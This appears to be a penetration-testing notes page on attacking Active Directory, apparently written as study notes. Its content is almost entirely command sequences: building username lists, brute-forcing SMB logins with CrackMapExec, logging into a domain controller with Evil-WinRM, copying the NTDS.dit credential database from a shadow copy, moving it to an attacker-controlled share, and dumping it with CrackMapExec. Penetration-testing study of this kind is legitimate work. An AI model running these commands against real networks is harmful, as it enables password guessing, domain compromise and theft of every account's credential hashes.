> For the complete documentation index, see [llms.txt](https://strange-1.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://strange-1.gitbook.io/notes/password-attacks/windows-local-password-attacks/attacking-active-directory-and-ntds.dit.md).

# Attacking Active Directory & NTDS.dit

### **Dictionary Attacks against AD accounts using CrackMapExec**

### **Creating a Custom list of Usernames**

#### Username Anarchy

```bash
# Installation - <https://github.com/urbanadventurer/username-anarchy>

# Usage, names.txt contains usernames that we have gathered during information gathering
./username-anarchy -i names.txt
```

### **Launching the Attack with CrackMapExec**

```bash
# Brute forcing against valid username
crackmapexec smb ip -u bwilliamson -p /usr/share/wordlists/fasttrack.txt
```

### **Capturing NTDS.dit**

```bash
# Connecting to a DC with Evil-WinRM with valid user/pass
evil-winrm -i ip  -u eren -p pas

# Checking Local Group Membership
net localgroup

# Checking User Account Privileges including Domain
net user eren

# Creating Shadow Copy of C:
vssadmin CREATE SHADOW /For=C:

# Copying NTDS.dit from the VSS
cmd.exe /c copy \\\\?\\GLOBALROOT\\Device\\HarddiskVolumeShadowCopy2\\Windows\\NTDS\\NTDS.dit c:\\NTDS\\NTDS.dit

# Transferring NTDS.dit to Attack Host using smbserver
cmd.exe /c move C:\\NTDS\\NTDS.dit \\\\attackerip\\CompData
```

**Using cme to Capture NTDS.dit**

```bash
crackmapexec smb ip -u eren -p pass --ntds
```